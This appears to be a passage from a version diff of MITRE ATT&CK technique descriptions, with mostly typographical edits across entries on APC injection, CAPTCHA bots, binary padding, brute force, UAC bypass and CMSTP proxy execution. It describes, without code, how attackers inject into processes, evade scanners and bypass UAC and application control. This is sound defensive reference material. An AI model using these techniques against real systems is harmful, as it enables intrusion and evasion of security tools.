| > | he address space of a separate live process. APC injection | > | he address space of a separate live process. APC injection | ||
| > | is commonly performed by attaching malicious code to the AP | > | is commonly performed by attaching malicious code to the AP | ||
| > | C Queue (Citation: Microsoft APC) of a process's thread. Que | > | C Queue(Citation: Microsoft APC) of a process's thread. Queu | ||
| > | ued APC functions are executed when the thread enters an alt | > | ed APC functions are executed when the thread enters an alte | ||
| > | erable state.(Citation: Microsoft APC) A handle to an existi | > | rable state.(Citation: Microsoft APC) A handle to an existin | ||
| > | ng victim process is first created with native Windows API c | > | g victim process is first created with native Windows API ca | ||
| > | alls such as <code>OpenThread</code>. At this point <code>Qu | > | lls such as <code>OpenThread</code>. At this point <code>Que | ||
| > | eueUserAPC</code> can be used to invoke a function (such as | > | ueUserAPC</code> can be used to invoke a function (such as < | ||
| > | <code>LoadLibrayA</code> pointing to a malicious DLL). A v | > | code>LoadLibrayA</code> pointing to a malicious DLL). A va | ||
| > | ariation of APC injection, dubbed "Early Bird injection", in | > | riation of APC injection, dubbed "Early Bird injection", inv | ||
| > | volves creating a suspended process in which malicious code | > | olves creating a suspended process in which malicious code c | ||
| > | can be written and executed before the process' entry point | > | an be written and executed before the process' entry point ( | ||
| > | (and potentially subsequent anti-malware hooks) via an APC. | > | and potentially subsequent anti-malware hooks) via an APC.(C | ||
| > | (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citati | > | itation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: | ||
| > | on: ENSIL AtomBombing Oct 2016) is another variation that ut | > | ENSIL AtomBombing Oct 2016) is another variation that utili | ||
| > | ilizes APCs to invoke malicious code previously written to t | > | zes APCs to invoke malicious code previously written to the | ||
| > | he global atom table.(Citation: Microsoft Atom Table) Runni | > | global atom table.(Citation: Microsoft Atom Table) Running | ||
| > | ng code in the context of another process may allow access t | > | code in the context of another process may allow access to t | ||
| > | o the process's memory, system/network resources, and possib | > | he process's memory, system/network resources, and possibly | ||
| > | ly elevated privileges. Execution via APC injection may also | > | elevated privileges. Execution via APC injection may also ev | ||
| > | evade detection from security products since the execution | > | ade detection from security products since the execution is | ||
| > | is masked under a legitimate process. | > | masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.644000+00:00 | 2026-11-04 03:31:46.649000+00:00 |
| description | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).
A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
APC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).
A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to use bots to successfully solve CA | t | 1 | Adversaries may attempt to use bots to successfully solve CA |
| > | PTCHA challenges. CAPTCHA challenges are typically used by d | > | PTCHA challenges. CAPTCHA challenges are typically used by d | ||
| > | efenders to detect and prevent bot and spam traffic from acc | > | efenders to detect and prevent bot and spam traffic from acc | ||
| > | essing protected webpages. CAPTCHAs are automated tests ofte | > | essing protected webpages. CAPTCHAs are automated tests ofte | ||
| > | n placed before login screens or form fields. Traditional CA | > | n placed before login screens or form fields. Traditional CA | ||
| > | PTCHAs ask the user to decipher a string of characters, type | > | PTCHAs ask the user to decipher a string of characters, type | ||
| > | the characters into a box, and submit the form. reCAPTCHA a | > | the characters into a box, and submit the form. reCAPTCHA a | ||
| > | sks the user to identify images, click a checkbox, or evalua | > | sks the user to identify images, click a checkbox, or evalua | ||
| > | te the user’s behavior from mouse movement and device cookie | > | te the user’s behavior from mouse movement and device cookie | ||
| > | s.(Citation: CAPTCHAS Cloudflare) Adversaries may use scri | > | s.(Citation: CAPTCHAS Cloudflare) Adversaries may use scri | ||
| > | pts or toolkits to automatically solve the CAPTCHA puzzle. F | > | pts or toolkits to automatically solve the CAPTCHA puzzle. F | ||
| > | or example, adversaries may develop a script that uses the I | > | or example, adversaries may develop a script that uses the I | ||
| > | mageMagick toolkit to solve the CAPTCHA puzzles to then crea | > | mageMagick toolkit to solve the CAPTCHA puzzles to then crea | ||
| > | te multiple valid accounts. ImageMagick tool can convert the | > | te multiple valid accounts. ImageMagick tool can convert the | ||
| > | images into a RGB complemented image. The CAPTCHA challenge | > | images into an RGB complemented image. The CAPTCHA challeng | ||
| > | may be solved by identifying and comparing attributes of th | > | e may be solved by identifying and comparing attributes of t | ||
| > | e RGB images to select the expected image.(Citation: Free Tr | > | he RGB images to select the expected image.(Citation: Free T | ||
| > | ial PurpleUrchin) Once the CAPTCHA challenge is solved, the | > | rial PurpleUrchin) Once the CAPTCHA challenge is solved, the | ||
| > | adversary’s script may access the protected page. After acce | > | adversary’s script may access the protected page. After acc | ||
| > | ssing the protected the page, the adversary may submit valid | > | essing the protected the page, the adversary may submit vali | ||
| > | forms to the target. | > | d forms to the target. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-21 19:15:50.488000+00:00 | 2026-11-03 23:24:55.899000+00:00 |
| description | Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user’s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) Adversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into a RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary’s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. | Adversaries may attempt to use bots to successfully solve CAPTCHA challenges. CAPTCHA challenges are typically used by defenders to detect and prevent bot and spam traffic from accessing protected webpages. CAPTCHAs are automated tests often placed before login screens or form fields. Traditional CAPTCHAs ask the user to decipher a string of characters, type the characters into a box, and submit the form. reCAPTCHA asks the user to identify images, click a checkbox, or evaluate the user’s behavior from mouse movement and device cookies.(Citation: CAPTCHAS Cloudflare) Adversaries may use scripts or toolkits to automatically solve the CAPTCHA puzzle. For example, adversaries may develop a script that uses the ImageMagick toolkit to solve the CAPTCHA puzzles to then create multiple valid accounts. ImageMagick tool can convert the images into an RGB complemented image. The CAPTCHA challenge may be solved by identifying and comparing attributes of the RGB images to select the expected image.(Citation: Free Trial PurpleUrchin) Once the CAPTCHA challenge is solved, the adversary’s script may access the protected page. After accessing the protected the page, the adversary may submit valid forms to the target. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use binary padding to add junk data and chan | t | 1 | Adversaries may use binary padding to add junk data and chan |
| > | ge the on-disk representation of malware. This can be done w | > | ge the on-disk representation of malware. This can be done w | ||
| > | ithout affecting the functionality or behavior of a binary, | > | ithout affecting the functionality or behavior of a binary, | ||
| > | but can increase the size of the binary beyond what some sec | > | but can increase the size of the binary beyond what some sec | ||
| > | urity tools are capable of handling due to file size limitat | > | urity tools are capable of handling due to file size limitat | ||
| > | ions. Binary padding effectively changes the checksum of t | > | ions. Binary padding effectively changes the checksum of t | ||
| > | he file and can also be used to avoid hash-based blocklists | > | he file and can also be used to avoid hash-based blocklists | ||
| > | and static anti-virus signatures.(Citation: ESET OceanLotus) | > | and static anti-virus signatures.(Citation: ESET OceanLotus) | ||
| > | The padding used is commonly generated by a function to cre | > | The padding used is commonly generated by a function to cre | ||
| > | ate junk data and then appended to the end or applied to sec | > | ate junk data and then appended to the end or applied to sec | ||
| > | tions of malware.(Citation: Securelist Malware Tricks April | > | tions of malware.(Citation: Securelist Malware Tricks April | ||
| > | 2017) Increasing the file size may decrease the effectivenes | > | 2017) Increasing the file size may decrease the effectivenes | ||
| > | s of certain tools and detection capabilities that are not d | > | s of certain tools and detection capabilities that are not d | ||
| > | esigned or configured to scan large files. This may also red | > | esigned or configured to scan large files. This may also red | ||
| > | uce the likelihood of being collected for analysis. Public f | > | uce the likelihood of being collected for analysis. Public f | ||
| > | ile scanning services, such as VirusTotal, limits the maximu | > | ile scanning services, such as VirusTotal, limit the maximum | ||
| > | m size of an uploaded file to be analyzed.(Citation: VirusTo | > | size of an uploaded file to be analyzed.(Citation: VirusTot | ||
| > | tal FAQ) | > | al FAQ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-11 20:00:19.155000+00:00 | 2026-11-04 03:07:26.511000+00:00 |
| description | Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) | Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limit the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) |
Current version: 2.8
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | ||
| > | hout knowledge of the password for an account or set of acco | > | hout knowledge of the password for an account or set of acco | ||
| > | unts, an adversary may systematically guess the password usi | > | unts, an adversary may systematically guess the password usi | ||
| > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | ||
| > | shoverride 2018) Brute forcing passwords can take place via | > | shoverride 2018) Brute forcing passwords can take place via | ||
| > | interaction with a service that will check the validity of t | > | interaction with a service that will check the validity of t | ||
| > | hose credentials or offline against previously acquired cred | > | hose credentials or offline against previously acquired cred | ||
| > | ential data, such as password hashes. Brute forcing credent | > | ential data, such as password hashes. Brute forcing credent | ||
| > | ials may take place at various points during a breach. For e | > | ials may take place at various points during a breach. For e | ||
| > | xample, adversaries may attempt to brute force access to [Va | > | xample, adversaries may attempt to brute force access to [Va | ||
| > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | ||
| > | hin a victim environment leveraging knowledge gathered from | > | hin a victim environment leveraging knowledge gathered from | ||
| > | other post-compromise behaviors such as [OS Credential Dumpi | > | other post-compromise behaviors such as [OS Credential Dumpi | ||
| > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | ||
| > | word Policy Discovery](https://attack.mitre.org/techniques/T | > | word Policy Discovery](https://attack.mitre.org/techniques/T | ||
| > | 1201). Adversaries may also combine brute forcing activity w | > | 1201). Adversaries may also combine brute forcing activity w | ||
| > | ith behaviors such as [External Remote Services](https://att | > | ith behaviors such as [External Remote Services](https://att | ||
| > | ack.mitre.org/techniques/T1133) as part of Initial Access. | > | ack.mitre.org/techniques/T1133) as part of Initial Access. | ||
| > | If an adversary guesses the correct password but fails to l | > | If an adversary guesses the correct password but fails to l | ||
| > | ogin to a compromised account due to location-based conditio | > | og in to a compromised account due to location-based conditi | ||
| > | nal access policies, they may change their infrastructure un | > | onal access policies, they may change their infrastructure u | ||
| > | til they match the victim’s location and therefore bypass th | > | ntil they match the victim’s location and therefore bypass t | ||
| > | ose policies.(Citation: ReliaQuest Health Care Social Engine | > | hose policies.(Citation: ReliaQuest Health Care Social Engin | ||
| > | ering Campaign 2024) | > | eering Campaign 2024) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-03 21:47:10.515000+00:00 |
| description | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024) | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. If an adversary guesses the correct password but fails to log in to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024) |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri | t | 1 | Adversaries may bypass UAC mechanisms to elevate process pri |
| > | vileges on system. Windows User Account Control (UAC) allows | > | vileges on a system. Windows User Account Control (UAC) allo | ||
| > | a program to elevate its privileges (tracked as integrity l | > | ws a program to elevate its privileges (tracked as integrity | ||
| > | evels ranging from low to high) to perform a task under admi | > | levels ranging from low to high) to perform a task under ad | ||
| > | nistrator-level permissions, possibly by prompting the user | > | ministrator-level permissions, possibly by prompting the use | ||
| > | for confirmation. The impact to the user ranges from denying | > | r for confirmation. The impact to the user ranges from denyi | ||
| > | the operation under high enforcement to allowing the user t | > | ng the operation under high enforcement to allowing the user | ||
| > | o perform the action if they are in the local administrators | > | to perform the action if they are in the local administrato | ||
| > | group and click through the prompt or allowing them to ente | > | rs group and click through the prompt or allowing them to en | ||
| > | r an administrator password to complete the action.(Citation | > | ter an administrator password to complete the action.(Citati | ||
| > | : TechNet How UAC Works) If the UAC protection level of a c | > | on: TechNet How UAC Works) If the UAC protection level of a | ||
| > | omputer is set to anything but the highest level, certain Wi | > | computer is set to anything but the highest level, certain | ||
| > | ndows programs can elevate privileges or execute some elevat | > | Windows programs can elevate privileges or execute some elev | ||
| > | ed [Component Object Model](https://attack.mitre.org/techniq | > | ated [Component Object Model](https://attack.mitre.org/techn | ||
| > | ues/T1559/001) objects without prompting the user through th | > | iques/T1559/001) objects without prompting the user through | ||
| > | e UAC notification box.(Citation: TechNet Inside UAC)(Citati | > | the UAC notification box.(Citation: TechNet Inside UAC)(Cita | ||
| > | on: MSDN COM Elevation) An example of this is use of [Rundll | > | tion: MSDN COM Elevation) An example of this is use of [Rund | ||
| > | 32](https://attack.mitre.org/techniques/T1218/011) to load a | > | ll32](https://attack.mitre.org/techniques/T1218/011) to load | ||
| > | specifically crafted DLL which loads an auto-elevated [Comp | > | a specifically crafted DLL which loads an auto-elevated [Co | ||
| > | onent Object Model](https://attack.mitre.org/techniques/T155 | > | mponent Object Model](https://attack.mitre.org/techniques/T1 | ||
| > | 9/001) object and performs a file operation in a protected d | > | 559/001) object and performs a file operation in a protected | ||
| > | irectory which would typically require elevated access. Mali | > | directory which would typically require elevated access. Ma | ||
| > | cious software may also be injected into a trusted process t | > | licious software may also be injected into a trusted process | ||
| > | o gain elevated privileges without prompting a user.(Citatio | > | to gain elevated privileges without prompting a user.(Citat | ||
| > | n: Davidson Windows) Many methods have been discovered to b | > | ion: Davidson Windows) Many methods have been discovered to | ||
| > | ypass UAC. The Github readme page for UACME contains an exte | > | bypass UAC. The Github readme page for UACME contains an ex | ||
| > | nsive list of methods(Citation: Github UACMe) that have been | > | tensive list of methods(Citation: Github UACMe) that have be | ||
| > | discovered and implemented, but may not be a comprehensive | > | en discovered and implemented, but may not be a comprehensiv | ||
| > | list of bypasses. Additional bypass methods are regularly di | > | e list of bypasses. Additional bypass methods are regularly | ||
| > | scovered and some used in the wild, such as: * <code>eventv | > | discovered and some used in the wild, such as: * <code>even | ||
| > | wr.exe</code> can auto-elevate and execute a specified binar | > | tvwr.exe</code> can auto-elevate and execute a specified bin | ||
| > | y or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citati | > | ary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Cita | ||
| > | on: Fortinet Fareit) Another bypass is possible through som | > | tion: Fortinet Fareit) Another bypass is possible through s | ||
| > | e lateral movement techniques if credentials for an account | > | ome lateral movement techniques if credentials for an accoun | ||
| > | with administrator privileges are known, since UAC is a sing | > | t with administrator privileges are known, since UAC is a si | ||
| > | le system security mechanism, and the privilege or integrity | > | ngle system security mechanism, and the privilege or integri | ||
| > | of a process running on one system will be unknown on remot | > | ty of a process running on one system will be unknown on rem | ||
| > | e systems and default to high integrity.(Citation: SANS UAC | > | ote systems and default to high integrity.(Citation: SANS UA | ||
| > | Bypass) | > | C Bypass) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.621000+00:00 | 2026-11-04 03:25:01.529000+00:00 |
| description | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) | Adversaries may bypass UAC mechanisms to elevate process privileges on a system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious | t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious |
| > | code. The Microsoft Connection Manager Profile Installer (CM | > | code. The Microsoft Connection Manager Profile Installer (CM | ||
| > | STP.exe) is a command-line program used to install Connectio | > | STP.exe) is a command-line program used to install Connectio | ||
| > | n Manager service profiles. (Citation: Microsoft Connection | > | n Manager service profiles.(Citation: Microsoft Connection M | ||
| > | Manager Oct 2009) CMSTP.exe accepts an installation informat | > | anager Oct 2009) CMSTP.exe accepts an installation informati | ||
| > | ion file (INF) as a parameter and installs a service profile | > | on file (INF) as a parameter and installs a service profile | ||
| > | leveraged for remote access connections. Adversaries may s | > | leveraged for remote access connections. Adversaries may su | ||
| > | upply CMSTP.exe with INF files infected with malicious comma | > | pply CMSTP.exe with INF files infected with malicious comman | ||
| > | nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re | > | ds.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regs | ||
| > | gsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Sq | > | vr32](https://attack.mitre.org/techniques/T1218/010) / ”Squi | ||
| > | uiblydoo”, CMSTP.exe may be abused to load and execute DLLs | > | blydoo”, CMSTP.exe may be abused to load and execute DLLs(Ci | ||
| > | (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( | > | tation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT | ||
| > | SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) | > | ) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Cit | ||
| > | (Citation: GitHub Ultimate AppLocker Bypass List) (Citation | > | ation: GitHub Ultimate AppLocker Bypass List)(Citation: Endu | ||
| > | : Endurant CMSTP July 2018) This execution may also bypass A | > | rant CMSTP July 2018) This execution may also bypass AppLock | ||
| > | ppLocker and other application control defenses since CMSTP. | > | er and other application control defenses since CMSTP.exe is | ||
| > | exe is a legitimate binary that may be signed by Microsoft. | > | a legitimate binary that may be signed by Microsoft. CMSTP | ||
| > | CMSTP.exe can also be abused to [Bypass User Account Contro | > | .exe can also be abused to [Bypass User Account Control](htt | ||
| > | l](https://attack.mitre.org/techniques/T1548/002) and execut | > | ps://attack.mitre.org/techniques/T1548/002) and execute arbi | ||
| > | e arbitrary commands from a malicious INF through an auto-el | > | trary commands from a malicious INF through an auto-elevated | ||
| > | evated COM interface. (Citation: MSitPros CMSTP Aug 2017) (C | > | COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: | ||
| > | itation: GitHub Ultimate AppLocker Bypass List) (Citation: E | > | GitHub Ultimate AppLocker Bypass List)(Citation: Endurant C | ||
| > | ndurant CMSTP July 2018) | > | MSTP July 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.631000+00:00 | 2026-11-04 03:33:56.478000+00:00 |
| description | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.(Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands.(Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs(Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers.(Citation: Twitter CMSTP Jan 2018)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.(Citation: MSitPros CMSTP Aug 2017)(Citation: GitHub Ultimate AppLocker Bypass List)(Citation: Endurant CMSTP July 2018) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may directly collect unsecured credentials store | t | 1 | Adversaries may directly collect unsecured credentials store |
| > | d or passed through user communication services. Credentials | > | d or passed through user communication services. Credentials | ||
| > | may be sent and stored in user chat communication applicati | > | may be sent and stored in user chat communication applicati | ||
| > | ons such as email, chat services like Slack or Teams, collab | > | ons such as email, chat services like Slack or Teams, collab | ||
| > | oration tools like Jira or Trello, and any other services th | > | oration tools like Jira or Trello, and any other services th | ||
| > | at support user communication. Users may share various forms | > | at support user communication. Users may share various forms | ||
| > | of credentials (such as usernames and passwords, API keys, | > | of credentials (such as usernames and passwords, API keys, | ||
| > | or authentication tokens) on private or public corporate int | > | or authentication tokens) on private or public corporate int | ||
| > | ernal communications channels. Rather than accessing the st | > | ernal communications channels. Rather than accessing the st | ||
